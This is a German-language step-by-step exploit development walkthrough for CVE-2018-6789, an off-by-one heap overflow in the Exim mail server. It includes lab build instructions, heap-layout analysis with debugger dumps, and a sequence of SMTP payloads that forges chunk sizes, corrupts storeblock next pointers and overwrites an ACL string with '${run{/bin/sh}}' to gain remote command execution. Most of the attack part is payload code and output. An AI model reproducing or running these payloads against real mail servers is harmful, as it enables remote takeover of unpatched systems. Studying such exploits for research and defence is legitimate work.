
Schritt-für-Schritt-Anleitung zur Exploit-Entwicklung für CVE-2018-6789, einen Off-by-One-Heap-Overflow in Exim, mit detaillierter Heap-Layout-Analyse und vollständigem Python-Exploit-Code.
Abhängigkeiten installieren
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Alte Version von Exim herunterladen
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Dann Local/Makefile bearbeiten
Zur Vereinfachung zeigen alle Ordner auf das aktuelle Verzeichnis
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Dies erleichtert das Debugging Dann kompilieren und installieren
make install
./configure bearbeiten und direkt mit folgendem Inhalt überschreiben
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Zuerst wird der Patch in base64.c analysiert:
result ist der Puffer, der das Base64-Decodierungsergebnis speichert und über die Funktion store_get bezogen wird.
Man erkennt, dass die Größenberechnung vor dem Patch fehlerhaft ist: Wenn size im Bereich 4n bis 4n+3 liegt, sind die berechneten Größen gleich, aber b64decode decodiert bei nicht durch 4 teilbaren Argumenten ein oder zwei Bytes mehr.
Senden wir zum Beispiel direkt
auth_md5('Hf'*42)
size=0x40
Speicherverteilung:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Noch ein Test:
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Es sind zwei Bytes übergelaufen.
Exim hat aus Leistungsgründen eine eigene Speicherverwaltung über der Heap-Verwaltung implementiert, die als Zwischenpuffer zwischen dem Code und glibc fungiert, um die Anzahl von malloc und free zu reduzieren.
Für Exim wird ein einzelner Heap-Block als storeblock bezeichnet. Jedes Mal, wenn ein Puffer geeigneter Größe benötigt wird, wird ein Teil daraus abgetrennt. Wenn ein storeblock aufgebraucht ist, wird ein neuer storeblock per malloc angefordert.
Die Struktur jedes storeblock ist eine einfache einfach verkettete Liste:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Die wichtigsten APIs für die Heap-Nutzung befinden sich in store.c:
store_get
store_release
store_extend
store_reset
store_get wird zum Abrufen eines Puffers verwendet. Der relevante Code:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
Man sieht, dass die minimal angeforderte store_block-Größe STORE_BLOCK_SIZE, also 8192, beträgt.
Ein store_block der Größe 8192 hat zusammen mit seinem Struktur-Header und dem Heap-Header eine Gesamtgröße von 0x2020.

Wenn Exim einen vom Client gesendeten Befehl ausführt und dieser erfolgreich ist (d.h. das Format ist korrekt, E-Mail enthält keine ungültigen Zeichen usw.), wird store_reset aufgerufen, um nicht mehr benötigte Caches und überschüssige store_blocks freizugeben. Andernfalls wird store_reset nicht aufgerufen.
Diese Schwachstelle ist ein klassischer Off-by-One (obwohl eigentlich zwei Bytes überlaufen können). Da die Anzahl der überlaufenden Bytes jedoch gering ist, kann keine empfindliche Struktur auf dem Heap direkt überschrieben werden. Daher müssen Eigenschaften von ptmalloc genutzt werden, um die Auswirkung der Schwachstelle zu vergrößern, z.B. in einen größeren Überlauf oder Overlap umzuwandeln. Für Off-by-One-Schwachstellen gibt es eine klassische Ausnutzungsmethode: Chunk Enlarge -> Chunk Overlap. Dabei wird die Größe eines Heap-Blocks vergrößert, ein gefälschter Heap-Header erzeugt, um die glibc-Sanity-Checks zu umgehen, und so ein Overlap der Heap-Blöcke erreicht, der eine größere Überschreibung ermöglicht.
Der Hauptprozess hier ist: Chunk Enlarge -> Chunk Overlap -> Corrupt Next Pointer in storeblock. Dann wird store_reset ausgelöst, was zu einem Free eines beliebigen Heap-Blocks führt. Wenn dieser Block erneut angefordert wird, kann sein Inhalt geändert werden (Type Confusion).
Meh empfiehlt in seinem Artikel, den Heap-Block zu ändern, der die ACL-Strings enthält, da es in der Verarbeitung von ACL-Strings eine Funktion zur Befehlsausführung gibt.
Es gibt viele ACL-Strings, aber die meisten sind NULL (möglicherweise konfigurationsabhängig). Hier wurde der String acl_smtp_mail gewählt. Die Syntax für die Befehlsausführung lautet:
${run{command}}
Die ungefähre Heap-Layout ist wie folgt:

Der erste Heap-Block ist der Block, der aus der Base64-Decodierung stammt und für den Off-by-One verwendet wird. Er sollte sich am Ende eines storeblock befinden. Zur Vereinfachung wird hier direkt ein Block größer als 0x2020 für das Base64-Decodierungsergebnis angefordert.
Der zweite Heap-Block ist sender_helo_name, der verwendet wird, um den nächsten Heap-Block zu überschreiben. sender_helo_name wird nicht in einem storeblock gespeichert, sondern direkt per malloc angefordert:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Daher ist die Größe beliebig.
Der dritte Heap-Block ist ein weiterer Block aus der Base64-Decodierung, der hauptsächlich zum Fälschen des Headers und zum Überschreiben verwendet wird. Er sollte sich am Anfang eines storeblock befinden. Auch hier wird der Einfachheit halber die Größe 0x2020 direkt angefordert.
Mein Exploit folgt ebenfalls der Analyse anderer im Internet und der grundlegende Ansatz ist derselbe; das Heap-Layout unterscheidet sich jedoch geringfügig, daher sind einige kleine Parameter anders.
Zuerst wird ein Unsorted-Bin der Größe 0x6060 erzeugt; dies wird mit dem folgenden Befehl erreicht:
ehlo('a'*0x1000)
Wenn Exim "EHLO "+'a'*0x1000 empfängt, werden in der Funktion match_check_list in match.c die folgenden drei Strings erzeugt:
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
wobei *name* 'a'*0x1000 ist.
Da name die Länge 0x1000 hat, belegt jeder String einen eigenen storeblock. Diese drei Strings befinden sich nacheinander in drei aufeinanderfolgenden storeblocks.
Wenn Exim die EHLO-Anweisung erfolgreich abschließt, werden die drei Strings in smtp_setup_msg in smtp_in.c freigegeben, wodurch ein Heap-Block der Größe 0x6060 entsteht:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
Das Heap-Layout zu diesem Zeitpunkt:

Um sender_helo_name in die Mitte eines Heap-Blocks zu platzieren, muss der ursprüngliche sender_helo_name freigegeben werden, dann der obere Heap-Block belegt werden. Nachdem der zweite sender_helo_name platziert ist, wird der obere Heap-Block wieder freigegeben.
Hier wird ein unbekannter Befehl (unrecognize command) zur Belegung verwendet. Der Empfang eines unbekannten Befehls entspricht einem fehlgeschlagenen Befehl; beim nächsten erfolgreichen Befehl wird er automatisch freigegeben.
Zu beachten: Das Prinzip der Belegung mit unbekannten Befehlen ist, dass Exim nach dem Senden des Befehls synprot_error aufruft, ähnlich wie:
79099 LOG: smtp_syntax_error MAIN
SMTP syntax error in "yyyyyyyy... (sehr lang) ..."
**** debug string too long - truncated ****
Wenn der Befehl jedoch nur sichtbare Zeichen enthält, wird Exim keinen neuen Heap-Block dafür anfordern:
290 const uschar *
291 string_printing2(const uschar *s, BOOL allow_tab)
292 {
293 int nonprintcount = 0;
294 int length = 0;
295 const uschar *t = s;
296 uschar *ss, *tt;
297
298 while (*t != 0)
299 {
300 int c = *t++;
301 if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
302 length++;
303 }
304
305 if (nonprintcount == 0) return s;
306
307 /* Get a new block of store guaranteed big enough to hold the
308 expanded string. */
309
310 ss = store_get(length + nonprintcount * 3 + 1);
...
Wenn der Befehl nicht sichtbare Zeichen enthält, fordert Exim einen neuen Puffer an und wandelt die unsichtbaren Zeichen in oktale Strings um, z.B. '\xee' -> "\\356". Daher die Berechnung length + (nonprintcount * 3 + 1).
Zuerst wird sender_ehlo_name in einen kleinen Heap-Block gesetzt, dann wird versucht, 0x800 '\xee' zu senden. Dies würde 0x800 + 1 + 0x800 * 3 = 0x2001 anfordern. Im aktuellen storeblock gibt es keinen so großen Platz, daher wird ein neuer store_block angefordert:
ehlo('b'*0x20)
unrec('\xee'*0x800)

Dann wird ein sender_elho_name der Größe 0x2010 angefordert:
ehlo('x'*0x2020)
Dies gibt zuerst den alten sender_elho_name der Größe 0x20 frei:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
Dann wird ein neuer sender_helo_name angefordert. Nach Abschluss wird store_reset aufgerufen, um nicht benötigte Heap-Blöcke zu entfernen. Dadurch wird der 0x2020 große Fehler-Heap-Block freigegeben, und zusammen mit dem bereits freigegebenen sender_helo_name findet eine malloc_consolidate statt, die einen neuen Heap-Block der Größe 0x2050 bildet:

Damit ist das Heap-Layout im Wesentlichen fertig. Nun wird der Platz belegt und die Schwachstelle ausgelöst:
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
Der obere Heap-Block wird belegt; ein Byte läuft über, so dass die Größe von 0x2021 auf 0x20f1 geändert wird. Dann wird der unterste Heap-Block belegt und eine gefälschte Größe von 0x1f61 erzeugt, die auf den nächsten Heap-Block zeigt:
payload2 = 'm'*0x38+p64(0x1f61)
auth_md5(b64encode(payload2))
Hier wird ein weiterer Heap-Block angefordert, da sonst der überschriebene storeblock der letzte ist und next null ist:
auth_md5(b64encode('a'*0x1000))
Jetzt kann sender_helo_name freigegeben werden, um einen Chunk Overlap zu erzeugen. Es gibt jedoch einen Punkt zu beachten: Da der unterste Heap-Block benötigt wird, um den next-Zeiger bereitzustellen (wir überschreiben ihn, um einen beliebigen Free zu erreichen), soll dieser Block nicht freigegeben werden. Daher kann ein ungültiger Name konstruiert werden, der nur sender_helo_name freigibt:
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);
...
3998 HELO_EHLO: /* Common code for HELO and EHLO */
3999 cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000 cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001
4002 /* Reject the HELO if its argument was invalid or non-existent. A
4003 successful check causes the argument to be saved in malloc store. */
4004
4005 if (!check_helo(smtp_cmd_data))
4006 {
...
4022 break;
4023 }
Wenn check_helo fehlschlägt, verlässt das Programm die Schleife, ohne store_reset aufzurufen. Sehen wir uns die Logik von check_helo an:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870 /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871 that have been configured (usually underscore - sigh). */
1872
1873 else if (*s)
1874 for (yield = TRUE; *s; s++)
1875 if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876 Ustrchr(helo_allow_chars, *s) == NULL)
1877 {
1878 yield = FALSE;
1879 break;
1880 }
...
1885 return yield;
1886 }
Man sieht, dass check_helo die gesendeten Zeichen überprüft: Sie müssen alphanumerisch oder bestimmte Satzzeichen sein, oder in helo_allow_chars enthalten sein. Normalerweise ist helo_allow_chars leer (dies wird in der Konfiguration festgelegt). Also kann ein sender_helo_name mit Leerzeichen konstruiert werden:
ehlo('pwn it!') # muss ungültige Zeichen enthalten
Damit ist ein Chunk Overlap erreicht.
Nun wird dieser Heap-Block belegt, um den next-Zeiger so zu überschreiben, dass er auf den Heap-Block mit den ACL-Strings zeigt. Ein Problem: Andere Exploits nutzen eine partielle Überschreibung, um ASLR zu umgehen, aber das funktioniert in meiner Umgebung nicht, da der ACL-Heap-Block und der Heap-Block, auf den next zeigt, weit voneinander entfernt sind:
pwndbg> tel 0x7214c0+0x2030
00:0000│ 0x7234f0 ◂— 0x0
01:0008│ 0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│ 0x723500 —▸ 0x728510 <== next
03:0018│ 0x723508 ◂— 0x2000
pwndbg> tel 0x6f7990 <== acl chunk
00:0000│ 0x6f7990 ◂— 0x30 /* '0' */
01:0008│ 0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│ 0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│ 0x6f79a8 ◂— 0x2000
04:0020│ 0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│ 0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│ 0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│ 0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')
Daher verwendet mein Exploit absolute Adressen:
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
Damit wird der Heap-Block des ACL-Strings in die Kette dieses store_block eingefügt. Wenn wir einen neuen sender_helo_name setzen, werden alle diese Heap-Blöcke in store_reset freigegeben.
Also diesmal einen gültigen Namen senden:
ehlo('I'*16)
Jetzt kann man beim nächsten Anfordern eines Heap-Blocks den Block mit dem ACL-String erhalten:
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
Hier wird die Adresse überschrieben, auf die acl_smtp_mail zeigt. Grundsätzlich befinden sich alle ACL-Strings in diesem Heap-Block, da sie nacheinander aus der Konfiguration gelesen und in den von store_get erhaltenen Puffer geschrieben werden; sie liegen also alle zusammenhängend in diesem storeblock.
Schließlich wird die ACL-bezogene API aufgerufen:
r.sendline('MAIL FROM: <[email protected]>')
Dann wird in smtp_setup_msg -> acl_check -> acl_check_internal -> expand_string -> expand_cstring -> expand_string_internal -> child_open -> child_open_uid execve aufgerufen, um den Befehl im run auszuführen. Die Debug-Informationen auf dem Server zeigen, dass der Befehl tatsächlich ausgeführt wurde:

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789